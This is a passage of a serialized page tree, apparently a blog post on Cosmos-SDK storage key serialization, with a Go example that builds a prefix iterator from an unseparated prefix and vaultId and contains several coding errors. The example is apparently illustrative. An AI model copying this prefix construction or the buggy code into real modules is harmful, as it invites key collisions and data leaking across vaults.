"value":88272},{"type":22,"tag":101,"props":91418,"children":91419},{"style":120},[91420],{"type":27,"value":179},{"type":22,"tag":101,"props":91422,"children":91423},{"class":103,"line":27765},[91424,91428,91432,91436,91440,91444,91448,91452],{"type":22,"tag":101,"props":91425,"children":91426},{"style":126},[91427],{"type":27,"value":89978},{"type":22,"tag":101,"props":91429,"children":91430},{"style":120},[91431],{"type":27,"value":231},{"type":22,"tag":101,"props":91433,"children":91434},{"style":926},[91435],{"type":27,"value":89108},{"type":22,"tag":101,"props":91437,"children":91438},{"style":120},[91439],{"type":27,"value":980},{"type":22,"tag":101,"props":91441,"children":91442},{"style":926},[91443],{"type":27,"value":13147},{"type":22,"tag":101,"props":91445,"children":91446},{"style":120},[91447],{"type":27,"value":980},{"type":22,"tag":101,"props":91449,"children":91450},{"style":126},[91451],{"type":27,"value":88978},{"type":22,"tag":101,"props":91453,"children":91454},{"style":120},[91455],{"type":27,"value":89129},{"type":22,"tag":101,"props":91457,"children":91458},{"class":103,"line":27773},[91459],{"type":22,"tag":101,"props":91460,"children":91461},{"style":120},[91462],{"type":27,"value":27917},{"type":22,"tag":101,"props":91464,"children":91465},{"class":103,"line":27781},[91466,91470,91474,91478,91482,91486,91490,91494],{"type":22,"tag":101,"props":91467,"children":91468},{"style":126},[91469],{"type":27,"value":89099},{"type":22,"tag":101,"props":91471,"children":91472},{"style":120},[91473],{"type":27,"value":231},{"type":22,"tag":101,"props":91475,"children":91476},{"style":926},[91477],{"type":27,"value":89153},{"type":22,"tag":101,"props":91479,"children":91480},{"style":120},[91481],{"type":27,"value":980},{"type":22,"tag":101,"props":91483,"children":91484},{"style":126},[91485],{"type":27,"value":89062},{"type":22,"tag":101,"props":91487,"children":91488},{"style":120},[91489],{"type":27,"value":758},{"type":22,"tag":101,"props":91491,"children":91492},{"style":126},[91493],{"type":27,"value":88978},{"type":22,"tag":101,"props":91495,"children":91496},{"style":120},[91497],{"type":27,"value":2510},{"type":22,"tag":101,"props":91499,"children":91500},{"class":103,"line":27818},[91501],{"type":22,"tag":101,"props":91502,"children":91503},{"emptyLinePlaceholder":15},[91504],{"type":27,"value":1581},{"type":22,"tag":101,"props":91506,"children":91507},{"class":103,"line":27831},[91508,91512,91516,91520],{"type":22,"tag":101,"props":91509,"children":91510},{"style":126},[91511],{"type":27,"value":90505},{"type":22,"tag":101,"props":91513,"children":91514},{"style":166},[91515],{"type":27,"value":79923},{"type":22,"tag":101,"props":91517,"children":91518},{"style":926},[91519],{"type":27,"value":89071},{"type":22,"tag":101,"props":91521,"children":91522},{"style":120},[91523],{"type":27,"value":1850},{"type":22,"tag":101,"props":91525,"children":91526},{"class":103,"line":27844},[91527,91531,91535],{"type":22,"tag":101,"props":91528,"children":91529},{"style":120},[91530],{"type":27,"value":89962},{"type":22,"tag":101,"props":91532,"children":91533},{"style":114},[91534],{"type":27,"value":88272},{"type":22,"tag":101,"props":91536,"children":91537},{"style":120},[91538],{"type":27,"value":179},{"type":22,"tag":101,"props":91540,"children":91541},{"class":103,"line":27857},[91542,91546,91550,91554,91558,91562,91566,91570],{"type":22,"tag":101,"props":91543,"children":91544},{"style":126},[91545],{"type":27,"value":89978},{"type":22,"tag":101,"props":91547,"children":91548},{"style":120},[91549],{"type":27,"value":231},{"type":22,"tag":101,"props":91551,"children":91552},{"style":926},[91553],{"type":27,"value":89108},{"type":22,"tag":101,"props":91555,"children":91556},{"style":120},[91557],{"type":27,"value":980},{"type":22,"tag":101,"props":91559,"children":91560},{"style":926},[91561],{"type":27,"value":13147},{"type":22,"tag":101,"props":91563,"children":91564},{"style":120},[91565],{"type":27,"value":980},{"type":22,"tag":101,"props":91567,"children":91568},{"style":126},[91569],{"type":27,"value":90348},{"type":22,"tag":101,"props":91571,"children":91572},{"style":120},[91573],{"type":27,"value":89129},{"type":22,"tag":101,"props":91575,"children":91576},{"class":103,"line":27911},[91577],{"type":22,"tag":101,"props":91578,"children":91579},{"style":120},[91580],{"type":27,"value":27917},{"type":22,"tag":101,"props":91582,"children":91583},{"class":103,"line":27920},[91584,91588,91592,91596,91600,91604,91608,91612],{"type":22,"tag":101,"props":91585,"children":91586},{"style":126},[91587],{"type":27,"value":89099},{"type":22,"tag":101,"props":91589,"children":91590},{"style":120},[91591],{"type":27,"value":231},{"type":22,"tag":101,"props":91593,"children":91594},{"style":926},[91595],{"type":27,"value":89153},{"type":22,"tag":101,"props":91597,"children":91598},{"style":120},[91599],{"type":27,"value":980},{"type":22,"tag":101,"props":91601,"children":91602},{"style":126},[91603],{"type":27,"value":90598},{"type":22,"tag":101,"props":91605,"children":91606},{"style":120},[91607],{"type":27,"value":758},{"type":22,"tag":101,"props":91609,"children":91610},{"style":126},[91611],{"type":27,"value":90348},{"type":22,"tag":101,"props":91613,"children":91614},{"style":120},[91615],{"type":27,"value":2510},{"type":22,"tag":101,"props":91617,"children":91618},{"class":103,"line":36277},[91619],{"type":22,"tag":101,"props":91620,"children":91621},{"emptyLinePlaceholder":15},[91622],{"type":27,"value":1581},{"type":22,"tag":101,"props":91624,"children":91625},{"class":103,"line":36298},[91626,91630,91634,91638,91642,91646],{"type":22,"tag":101,"props":91627,"children":91628},{"style":126},[91629],{"type":27,"value":90182},{"type":22,"tag":101,"props":91631,"children":91632},{"style":166},[91633],{"type":27,"value":79923},{"type":22,"tag":101,"props":91635,"children":91636},{"style":126},[91637],{"type":27,"value":85741},{"type":22,"tag":101,"props":91639,"children":91640},{"style":120},[91641],{"type":27,"value":231},{"type":22,"tag":101,"props":91643,"children":91644},{"style":926},[91645],{"type":27,"value":88730},{"type":22,"tag":101,"props":91647,"children":91648},{"style":120},[91649],{"type":27,"value":1850},{"type":22,"tag":101,"props":91651,"children":91652},{"class":103,"line":84458},[91653,91657],{"type":22,"tag":101,"props":91654,"children":91655},{"style":6476},[91656],{"type":27,"value":91207},{"type":22,"tag":101,"props":91658,"children":91659},{"style":120},[91660],{"type":27,"value":179},{"type":22,"tag":101,"props":91662,"children":91663},{"class":103,"line":84471},[91664,91669],{"type":22,"tag":101,"props":91665,"children":91666},{"style":126},[91667],{"type":27,"value":91668}," AddressMapPrefix",{"type":22,"tag":101,"props":91670,"children":91671},{"style":120},[91672],{"type":27,"value":179},{"type":22,"tag":101,"props":91674,"children":91675},{"class":103,"line":84479},[91676,91680],{"type":22,"tag":101,"props":91677,"children":91678},{"style":126},[91679],{"type":27,"value":90222},{"type":22,"tag":101,"props":91681,"children":91682},{"style":120},[91683],{"type":27,"value":179},{"type":22,"tag":101,"props":91685,"children":91686},{"class":103,"line":84487},[91687,91691],{"type":22,"tag":101,"props":91688,"children":91689},{"style":126},[91690],{"type":27,"value":90234},{"type":22,"tag":101,"props":91692,"children":91693},{"style":120},[91694],{"type":27,"value":179},{"type":22,"tag":101,"props":91696,"children":91697},{"class":103,"line":84495},[91698,91702],{"type":22,"tag":101,"props":91699,"children":91700},{"style":126},[91701],{"type":27,"value":90246},{"type":22,"tag":101,"props":91703,"children":91704},{"style":120},[91705],{"type":27,"value":179},{"type":22,"tag":101,"props":91707,"children":91708},{"class":103,"line":84535},[91709,91713],{"type":22,"tag":101,"props":91710,"children":91711},{"style":126},[91712],{"type":27,"value":90234},{"type":22,"tag":101,"props":91714,"children":91715},{"style":120},[91716],{"type":27,"value":179},{"type":22,"tag":101,"props":91718,"children":91719},{"class":103,"line":84543},[91720,91724],{"type":22,"tag":101,"props":91721,"children":91722},{"style":126},[91723],{"type":27,"value":90707},{"type":22,"tag":101,"props":91725,"children":91726},{"style":120},[91727],{"type":27,"value":179},{"type":22,"tag":101,"props":91729,"children":91731},{"class":103,"line":91730},60,[91732],{"type":22,"tag":101,"props":91733,"children":91734},{"style":120},[91735],{"type":27,"value":27917},{"type":22,"tag":101,"props":91737,"children":91739},{"class":103,"line":91738},61,[91740],{"type":22,"tag":101,"props":91741,"children":91742},{"style":120},[91743],{"type":27,"value":188},{"type":22,"tag":23,"props":91745,"children":91746},{},[91747],{"type":27,"value":91748},"We now have a proper example of how to serialize storage keys.",{"type":22,"tag":23,"props":91750,"children":91751},{},[91752,91754,91759],{"type":27,"value":91753},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":22,"tag":30,"props":91755,"children":91757},{"className":91756},[],[91758],{"type":27,"value":6350},{"type":27,"value":91760},", data should still be retrievable through original keys.",{"type":22,"tag":23,"props":91762,"children":91763},{},[91764,91766,91772,91774,91779],{"type":27,"value":91765},"Let's look at a case where we want to retrieve all ",{"type":22,"tag":30,"props":91767,"children":91769},{"className":91768},[],[91770],{"type":27,"value":91771},"map[Username]map[PositionName]Position",{"type":27,"value":91773}," associated with a ",{"type":22,"tag":30,"props":91775,"children":91777},{"className":91776},[],[91778],{"type":27,"value":88642},{"type":27,"value":91780}," from the storage. How can we safely accomplish this?",{"type":22,"tag":23,"props":91782,"children":91783},{},[91784,91786,91791,91793,91799],{"type":27,"value":91785},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":22,"tag":30,"props":91787,"children":91789},{"className":91788},[],[91790],{"type":27,"value":88713},{"type":27,"value":91792}," prefix. Below is an example of an attempt to fetch data with ",{"type":22,"tag":30,"props":91794,"children":91796},{"className":91795},[],[91797],{"type":27,"value":91798},"vaultId",{"type":27,"value":169},{"type":22,"tag":91,"props":91801,"children":91803},{"code":91802,"language":79671,"meta":7,"className":79672,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[91804],{"type":22,"tag":30,"props":91805,"children":91806},{"__ignoreMap":7},[91807,91823,91838,91887,91939,91968,91980,92026,92033,92079,92134,92141,92205,92266,92289,92308,92315,92322,92382,92441,92464,92483,92490,92497,92550,92598,92605,92612,92652,92681,92688,92695,92707],{"type":22,"tag":101,"props":91808,"children":91809},{"class":103,"line":104},[91810,91814,91819],{"type":22,"tag":101,"props":91811,"children":91812},{"style":108},[91813],{"type":27,"value":79807},{"type":22,"tag":101,"props":91815,"children":91816},{"style":926},[91817],{"type":27,"value":91818}," FetchPositionMapWithVaultId",{"type":22,"tag":101,"props":91820,"children":91821},{"style":120},[91822],{"type":27,"value":1850},{"type":22,"tag":101,"props":91824,"children":91825},{"class":103,"line":157},[91826,91830,91834],{"type":22,"tag":101,"props":91827,"children":91828},{"style":126},[91829],{"type":27,"value":88754},{"type":22,"tag":101,"props":91831,"children":91832},{"style":114},[91833],{"type":27,"value":79928},{"type":22,"tag":101,"props":91835,"children":91836},{"style":120},[91837],{"type":27,"value":179},{"type":22,"tag":101,"props":91839,"children":91840},{"class":103,"line":182},[91841,91846,91850,91854,91858,91862,91866,91870,91874,91878,91883],{"type":22,"tag":101,"props":91842,"children":91843},{"style":120},[91844],{"type":27,"value":91845},") ([]",{"type":22,"tag":101,"props":91847,"children":91848},{"style":108},[91849],{"type":27,"value":6350},{"type":22,"tag":101,"props":91851,"children":91852},{"style":120},[91853],{"type":27,"value":2414},{"type":22,"tag":101,"props":91855,"children":91856},{"style":114},[91857],{"type":27,"value":88659},{"type":22,"tag":101,"props":91859,"children":91860},{"style":120},[91861],{"type":27,"value":19412},{"type":22,"tag":101,"props":91863,"children":91864},{"style":108},[91865],{"type":27,"value":6350},{"type":22,"tag":101,"props":91867,"children":91868},{"style":120},[91869],{"type":27,"value":2414},{"type":22,"tag":101,"props":91871,"children":91872},{"style":114},[91873],{"type":27,"value":88676},{"type":22,"tag":101,"props":91875,"children":91876},{"style":120},[91877],{"type":27,"value":19412},{"type":22,"tag":101,"props":91879,"children":91880},{"style":114},[91881],{"type":27,"value":91882},"Position",{"type":22,"tag":101,"props":91884,"children":91885},{"style":120},[91886],{"type":27,"value":1463},{"type":22,"tag":101,"props":91888,"children":91889},{"class":103,"line":367},[91890,91895,91899,91903,91907,91911,91915,91919,91923,91927,91931,91935],{"type":22,"tag":101,"props":91891,"children":91892},{"style":126},[91893],{"type":27,"value":91894}," values",{"type":22,"tag":101,"props":91896,"children":91897},{"style":166},[91898],{"type":27,"value":79923},{"type":22,"tag":101,"props":91900,"children":91901},{"style":108},[91902],{"type":27,"value":53665},{"type":22,"tag":101,"props":91904,"children":91905},{"style":120},[91906],{"type":27,"value":2414},{"type":22,"tag":101,"props":91908,"children":91909},{"style":114},[91910],{"type":27,"value":88659},{"type":22,"tag":101,"props":91912,"children":91913},{"style":120},[91914],{"type":27,"value":19412},{"type":22,"tag":101,"props":91916,"children":91917},{"style":108},[91918],{"type":27,"value":6350},{"type":22,"tag":101,"props":91920,"children":91921},{"style":120},[91922],{"type":27,"value":2414},{"type":22,"tag":101,"props":91924,"children":91925},{"style":114},[91926],{"type":27,"value":88676},{"type":22,"tag":101,"props":91928,"children":91929},{"style":120},[91930],{"type":27,"value":19412},{"type":22,"tag":101,"props":91932,"children":91933},{"style":114},[91934],{"type":27,"value":91882},{"type":22,"tag":101,"props":91936,"children":91937},{"style":120},[91938],{"type":27,"value":81604},{"type":22,"tag":101,"props":91940,"children":91941},{"class":103,"line":398},[91942,91947,91951,91955,91959,91964],{"type":22,"tag":101,"props":91943,"children":91944},{"style":126},[91945],{"type":27,"value":91946}," i",{"type":22,"tag":101,"props":91948,"children":91949},{"style":166},[91950],{"type":27,"value":79923},{"type":22,"tag":101,"props":91952,"children":91953},{"style":126},[91954],{"type":27,"value":82148},{"type":22,"tag":101,"props":91956,"children":91957},{"style":120},[91958],{"type":27,"value":231},{"type":22,"tag":101,"props":91960,"children":91961},{"style":926},[91962],{"type":27,"value":91963},"KVStorePrefixIterator",{"type":22,"tag":101,"props":91965,"children":91966},{"style":120},[91967],{"type":27,"value":1850},{"type":22,"tag":101,"props":91969,"children":91970},{"class":103,"line":428},[91971,91976],{"type":22,"tag":101,"props":91972,"children":91973},{"style":126},[91974],{"type":27,"value":91975}," kvStore",{"type":22,"tag":101,"props":91977,"children":91978},{"style":120},[91979],{"type":27,"value":179},{"type":22,"tag":101,"props":91981,"children":91982},{"class":103,"line":997},[91983,91988,91992,91996,92000,92005,92009,92014,92018,92022],{"type":22,"tag":101,"props":91984,"children":91985},{"style":126},[91986],{"type":27,"value":91987}," fmt",{"type":22,"tag":101,"props":91989,"children":91990},{"style":120},[91991],{"type":27,"value":231},{"type":22,"tag":101,"props":91993,"children":91994},{"style":926},[91995],{"type":27,"value":88730},{"type":22,"tag":101,"props":91997,"children":91998},{"style":120},[91999],{"type":27,"value":980},{"type":22,"tag":101,"props":92001,"children":92002},{"style":6476},[92003],{"type":27,"value":92004},"\"%s%d\"",{"type":22,"tag":101,"props":92006,"children":92007},{"style":120},[92008],{"type":27,"value":758},{"type":22,"tag":101,"props":92010,"children":92011},{"style":126},[92012],{"type":27,"value":92013},"PositionMapPrefix",{"type":22,"tag":101,"props":92015,"children":92016},{"style":120},[92017],{"type":27,"value":758},{"type":22,"tag":101,"props":92019,"children":92020},{"style":126},[92021],{"type":27,"value":91798},{"type":22,"tag":101,"props":92023,"children":92024},{"style":120},[92025],{"type":27,"value":2510},{"type":22,"tag":101,"props":92027,"children":92028},{"class":103,"line":1032},[92029],{"type":22,"tag":101,"props":92030,"children":92031},{"style":120},[92032],{"type":27,"value":27917},{"type":22,"tag":101,"props":92034,"children":92035},{"class":103,"line":1063},[92036,92040,92045,92049,92053,92058,92062,92066,92070,92075],{"type":22,"tag":101,"props":92037,"children":92038},{"style":3595},[92039],{"type":27,"value":7078},{"type":22,"tag":101,"props":92041,"children":92042},{"style":120},[92043],{"type":27,"value":92044}," ; ",{"type":22,"tag":101,"props":92046,"children":92047},{"style":126},[92048],{"type":27,"value":7774},{"type":22,"tag":101,"props":92050,"children":92051},{"style":120},[92052],{"type":27,"value":231},{"type":22,"tag":101,"props":92054,"children":92055},{"style":926},[92056],{"type":27,"value":92057},"Valid",{"type":22,"tag":101,"props":92059,"children":92060},{"style":120},[92061],{"type":27,"value":32447},{"type":22,"tag":101,"props":92063,"children":92064},{"style":126},[92065],{"type":27,"value":7774},{"type":22,"tag":101,"props":92067,"children":92068},{"style":120},[92069],{"type":27,"value":231},{"type":22,"tag":101,"props":92071,"children":92072},{"style":926},[92073],{"type":27,"value":92074},"Next",{"type":22,"tag":101,"props":92076,"children":92077},{"style":120},[92078],{"type":27,"value":19734},{"type":22,"tag":101,"props":92080,"children":92081},{"class":103,"line":1071},[92082,92087,92091,92096,92100,92104,92108,92112,92116,92121,92125,92130],{"type":22,"tag":101,"props":92083,"children":92084},{"style":126},[92085],{"type":27,"value":92086}," k",{"type":22,"tag":101,"props":92088,"children":92089},{"style":166},[92090],{"type":27,"value":79923},{"type":22,"tag":101,"props":92092,"children":92093},{"style":126},[92094],{"type":27,"value":92095}," strings",{"type":22,"tag":101,"props":92097,"children":92098},{"style":120},[92099],{"type":27,"value":231},{"type":22,"tag":101,"props":92101,"children":92102},{"style":926},[92103],{"type":27,"value":73547},{"type":22,"tag":101,"props":92105,"children":92106},{"style":120},[92107],{"type":27,"value":980},{"type":22,"tag":101,"props":92109,"children":92110},{"style":126},[92111],{"type":27,"value":7774},{"type":22,"tag":101,"props":92113,"children":92114},{"style":120},[92115],{"type":27,"value":231},{"type":22,"tag":101,"props":92117,"children":92118},{"style":926},[92119],{"type":27,"value":92120},"Key",{"type":22,"tag":101,"props":92122,"children":92123},{"style":120},[92124],{"type":27,"value":1147},{"type":22,"tag":101,"props":92126,"children":92127},{"style":126},[92128],{"type":27,"value":92129},"Seperator",{"type":22,"tag":101,"props":92131,"children":92132},{"style":120},[92133],{"type":27,"value":2510},{"type":22,"tag":101,"props":92135,"children":92136},{"class":103,"line":1110},[92137],{"type":22,"tag":101,"props":92138,"children":92139},{"emptyLinePlaceholder":15},[92140],{"type":27,"value":1581},{"type":22,"tag":101,"props":92142,"children":92143},{"class":103,"line":1118},[92144,92149,92153,92157,92162,92166,92170,92174,92178,92183,92187,92192,92196,92200],{"type":22,"tag":101,"props":92145,"children":92146},{"style":126},[92147],{"type":27,"value":92148}," username",{"type":22,"tag":101,"props":92150,"children":92151},{"style":166},[92152],{"type":27,"value":79923},{"type":22,"tag":101,"props":92154,"children":92155},{"style":926},[92156],{"type":27,"value":89071},{"type":22,"tag":101,"props":92158,"children":92159},{"style":120},[92160],{"type":27,"value":92161},"([]",{"type":22,"tag":101,"props":92163,"children":92164},{"style":114},[92165],{"type":27,"value":88272},{"type":22,"tag":101,"props":92167,"children":92168},{"style":120},[92169],{"type":27,"value":758},{"type":22,"tag":101,"props":92171,"children":92172},{"style":126},[92173],{"type":27,"value":89144},{"type":22,"tag":101,"props":92175,"children":92176},{"style":120},[92177],{"type":27,"value":231},{"type":22,"tag":101,"props":92179,"children":92180},{"style":926},[92181],{"type":27,"value":92182},"DecodedLen",{"type":22,"tag":101,"props":92184,"children":92185},{"style":120},[92186],{"type":27,"value":980},{"type":22,"tag":101,"props":92188,"children":92189},{"style":126},[92190],{"type":27,"value":92191},"k",{"type":22,"tag":101,"props":92193,"children":92194},{"style":120},[92195],{"type":27,"value":2414},{"type":22,"tag":101,"props":92197,"children":92198},{"style":1544},[92199],{"type":27,"value":8065},{"type":22,"tag":101,"props":92201,"children":92202},{"style":120},[92203],{"type":27,"value":92204},"]))\n",{"type":22,"tag":101,"props":92206,"children":92207},{"class":103,"line":1158},[92208,92212,92216,92220,92224,92229,92233,92238,92242,92246,92250,92254,92258,92262],{"type":22,"tag":101,"props":92209,"children":92210},{"style":126},[92211],{"type":27,"value":31746},{"type":22,"tag":101,"props":92213,"children":92214},{"style":120},[92215],{"type":27,"value":758},{"type":22,"tag":101,"props":92217,"children":92218},{"style":126},[92219],{"type":27,"value":52417},{"type":22,"tag":101,"props":92221,"children":92222},{"style":166},[92223],{"type":27,"value":79923},{"type":22,"tag":101,"props":92225,"children":92226},{"style":126},[92227],{"type":27,"value":92228}," hex",{"type":22,"tag":101,"props":92230,"children":92231},{"style":120},[92232],{"type":27,"value":231},{"type":22,"tag":101,"props":92234,"children":92235},{"style":926},[92236],{"type":27,"value":92237},"Decode",{"type":22,"tag":101,"props":92239,"children":92240},{"style":120},[92241],{"type":27,"value":980},{"type":22,"tag":101,"props":92243,"children":92244},{"style":126},[92245],{"type":27,"value":88978},{"type":22,"tag":101,"props":92247,"children":92248},{"style":120},[92249],{"type":27,"value":758},{"type":22,"tag":101,"props":92251,"children":92252},{"style":126},[92253],{"type":27,"value":92191},{"type":22,"tag":101,"props":92255,"children":92256},{"style":120},[92257],{"type":27,"value":2414},{"type":22,"tag":101,"props":92259,"children":92260},{"style":1544},[92261],{"type":27,"value":8065},{"type":22,"tag":101,"props":92263,"children":92264},{"style":120},[92265],{"type":27,"value":59437},{"type":22,"tag":101,"props":92267,"children":92268},{"class":103,"line":1166},[92269,92273,92277,92281,92285],{"type":22,"tag":101,"props":92270,"children":92271},{"style":3595},[92272],{"type":27,"value":7312},{"type":22,"tag":101,"props":92274,"children":92275},{"style":126},[92276],{"type":27,"value":52518},{"type":22,"tag":101,"props":92278,"children":92279},{"style":166},[92280],{"type":27,"value":3612},{"type":22,"tag":101,"props":92282,"children":92283},{"style":108},[92284],{"type":27,"value":85425},{"type":22,"tag":101,"props":92286,"children":92287},{"style":120},[92288],{"type":27,"value":154},{"type":22,"tag":101,"props":92290,"children":92291},{"class":103,"line":1215},[92292,92296,92300,92304],{"type":22,"tag":101,"props":92293,"children":92294},{"style":3595},[92295],{"type":27,"value":82583},{"type":22,"tag":101,"props":92297,"children":92298},{"style":108},[92299],{"type":27,"value":85425},{"type":22,"tag":101,"props":92301,"children":92302},{"style":120},[92303],{"type":27,"value":758},{"type":22,"tag":101,"props":92305,"children":92306},{"style":126},[92307],{"type":27,"value":87146},{"type":22,"tag":101,"props":92309,"children":92310},{"class":103,"line":2425},[92311],{"type":22,"tag":101,"props":92312,"children":92313},{"style":120},[92314],{"type":27,"value":2398},{"type":22,"tag":101,"props":92316,"children":92317},{"class":103,"line":5417},[92318],{"type":22,"tag":101,"props":92319,"children":92320},{"emptyLinePlaceholder":15},[92321],{"type":27,"value":1581},{"type":22,"tag":101,"props":92323,"children":92324},{"class":103,"line":7714},[92325,92330,92334,92338,92342,92346,92350,92354,92358,92362,92366,92370,92374,92378],{"type":22,"tag":101,"props":92326,"children":92327},{"style":126},[92328],{"type":27,"value":92329}," positionName",{"type":22,"tag":101,"props":92331,"children":92332},{"style":166},[92333],{"type":27,"value":79923},{"type":22,"tag":101,"props":92335,"children":92336},{"style":926},[92337],{"type":27,"value":89071},{"type":22,"tag":101,"props":92339,"children":92340},{"style":120},[92341],{"type":27,"value":92161},{"type":22,"tag":101,"props":92343,"children":92344},{"style":114},[92345],{"type":27,"value":88272},{"type":22,"tag":101,"props":92347,"children":92348},{"style":120},[92349],{"type":27,"value":758},{"type":22,"tag":101,"props":92351,"children":92352},{"style":126},[92353],{"type":27,"value":89144},{"type":22,"tag":101,"props":92355,"children":92356},{"style":120},[92357],{"type":27,"value":231},{"type":22,"tag":101,"props":92359,"children":92360},{"style":926},[92361],{"type":27,"value":92182},{"type":22,"tag":101,"props":92363,"children":92364},{"style":120},[92365],{"type":27,"value":980},{"type":22,"tag":101,"props":92367,"children":92368},{"style":126},[92369],{"type":27,"value":92191},{"type":22,"tag":101,"props":92371,"children":92372},{"style":120},[92373],{"type":27,"value":2414},{"type":22,"tag":101,"props":92375,"children":92376},{"style":1544},[92377],{"type":27,"value":6813},{"type":22,"tag":101,"props":92379,"children":92380},{"style":120},[92381],{"type":27,"value":92204},{"type":22,"tag":101,"props":92383,"children":92384},{"class":103,"line":7723},[92385,92389,92393,92397,92401,92405,92409,92413,92417,92421,92425,92429,92433,92437],{"type":22,"tag":101,"props":92386,"children":92387},{"style":126},[92388],{"type":27,"value":31746},{"type":22,"tag":101,"props":92390,"children":92391},{"style":120},[92392],{"type":27,"value":758},{"type":22,"tag":101,"props":92394,"children":92395},{"style":126},[92396],{"type":27,"value":52417},{"type":22,"tag":101,"props":92398,"children":92399},{"style":166},[92400],{"type":27,"value":79923},{"type":22,"tag":101,"props":92402,"children":92403},{"style":126},[92404],{"type":27,"value":92228},{"type":22,"tag":101,"props":92406,"children":92407},{"style":120},[92408],{"type":27,"value":231},{"type":22,"tag":101,"props":92410,"children":92411},{"style":926},[92412],{"type":27,"value":92237},{"type":22,"tag":101,"props":92414,"children":92415},{"style":120},[92416],{"type":27,"value":980},{"type":22,"tag":101,"props":92418,"children":92419},{"style":126},[92420],{"type":27,"value":89247},{"type":22,"tag":101,"props":92422,"children":92423},{"style":120},[92424],{"type":27,"value":758},{"type":22,"tag":101,"props":92426,"children":92427},{"style":126},[92428],{"type":27,"value":92191},{"type":22,"tag":101,"props":92430,"children":92431},{"style":120},[92432],{"type":27,"value":2414},{"type":22,"tag":101,"props":92434,"children":92435},{"style":1544},[92436],{"type":27,"value":6813},{"type":22,"tag":101,"props":92438,"children":92439},{"style":120},[92440],{"type":27,"value":59437},{"type":22,"tag":101,"props":92442,"children":92443},{"class":103,"line":7791},[92444,92448,92452,92456,92460],{"type":22,"tag":101,"props":92445,"children":92446},{"style":3595},[92447],{"type":27,"value":7312},{"type":22,"tag":101,"props":92449,"children":92450},{"style":126},[92451],{"type":27,"value":52518},{"type":22,"tag":101,"props":92453,"children":92454},{"style":166},[92455],{"type":27,"value":3612},{"type":22,"tag":101,"props":92457,"children":92458},{"style":108},[92459],{"type":27,"value":85425},{"type":22,"tag":101,"props":92461,"children":92462},{"style":120},[92463],{"type":27,"value":154},{"type":22,"tag":101,"props":92465,"children":92466},{"class":103,"line":7799},[92467,92471,92475,92479],{"type":22,"tag":101,"props":92468,"children":92469},{"style":3595},[92470],{"type":27,"value":82583},{"type":22,"tag":101,"props":92472,"children":92473},{"style":108},[92474],{"type":27,"value":85425},{"type":22,"tag":101,"props":92476,"children":92477},{"style":120},[92478],{"type":27,"value":758},{"type":22,"tag":101,"props":92480,"children":92481},{"style":126},[92482],{"type":27,"value":87146},{"type":22,"tag":101,"props":92484,"children":92485},{"class":103,"line":7829},[92486],{"type":22,"tag":101,"props":92487,"children":92488},{"style":120},[92489],{"type":27,"value":2398},{"type":22,"tag":101,"props":92491,"children":92492},{"class":103,"line":7837},[92493],{"type":22,"tag":101,"props":92494,"children":92495},{"emptyLinePlaceholder":15},[92496],{"type":27,"value":1581},{"type":22,"tag":101,"props":92498,"children":92499},{"class":103,"line":7868},[92500,92504,92508,92512,92516,92520,92525,92529,92533,92538,92542,92546],{"type":22,"tag":101,"props":92501,"children":92502},{"style":3595},[92503],{"type":27,"value":7312},{"type":22,"tag":101,"props":92505,"children":92506},{"style":126},[92507],{"type":27,"value":1836},{"type":22,"tag":101,"props":92509,"children":92510},{"style":120},[92511],{"type":27,"value":758},{"type":22,"tag":101,"props":92513,"children":92514},{"style":126},[92515],{"type":27,"value":82274},{"type":22,"tag":101,"props":92517,"children":92518},{"style":166},[92519],{"type":27,"value":79923},{"type":22,"tag":101,"props":92521,"children":92522},{"style":126},[92523],{"type":27,"value":92524}," values",{"type":22,"tag":101,"props":92526,"children":92527},{"style":120},[92528],{"type":27,"value":2414},{"type":22,"tag":101,"props":92530,"children":92531},{"style":126},[92532],{"type":27,"value":88978},{"type":22,"tag":101,"props":92534,"children":92535},{"style":120},[92536],{"type":27,"value":92537},"]; ",{"type":22,"tag":101,"props":92539,"children":92540},{"style":166},[92541],{"type":27,"value":2109},{"type":22,"tag":101,"props":92543,"children":92544},{"style":126},[92545],{"type":27,"value":82274},{"type":22,"tag":101,"props":92547,"children":92548},{"style":120},[92549],{"type":27,"value":154},{"type":22,"tag":101,"props":92551,"children":92552},{"class":103,"line":7876},[92553,92558,92562,92566,92570,92574,92578,92582,92586,92590,92594],{"type":22,"tag":101,"props":92554,"children":92555},{"style":126},[92556],{"type":27,"value":92557}," values",{"type":22,"tag":101,"props":92559,"children":92560},{"style":120},[92561],{"type":27,"value":2414},{"type":22,"tag":101,"props":92563,"children":92564},{"style":126},[92565],{"type":27,"value":88978},{"type":22,"tag":101,"props":92567,"children":92568},{"style":120},[92569],{"type":27,"value":12668},{"type":22,"tag":101,"props":92571,"children":92572},{"style":166},[92573],{"type":27,"value":1511},{"type":22,"tag":101,"props":92575,"children":92576},{"style":926},[92577],{"type":27,"value":89071},{"type":22,"tag":101,"props":92579,"children":92580},{"style":120},[92581],{"type":27,"value":980},{"type":22,"tag":101,"props":92583,"children":92584},{"style":108},[92585],{"type":27,"value":6350},{"type":22,"tag":101,"props":92587,"children":92588},{"style":120},[92589],{"type":27,"value":2414},{"type":22,"tag":101,"props":92591,"children":92592},{"style":114},[92593],{"type":27,"value":88676},{"type":22,"tag":101,"props":92595,"children":92596},{"style":120},[92597],{"type":27,"value":59437},{"type":22,"tag":101,"props":92599,"children":92600},{"class":103,"line":7936},[92601],{"type":22,"tag":101,"props":92602,"children":92603},{"style":120},[92604],{"type":27,"value":2398},{"type":22,"tag":101,"props":92606,"children":92607},{"class":103,"line":13054},[92608],{"type":22,"tag":101,"props":92609,"children":92610},{"emptyLinePlaceholder":15},[92611],{"type":27,"value":1581},{"type":22,"tag":101,"props":92613,"children":92614},{"class":103,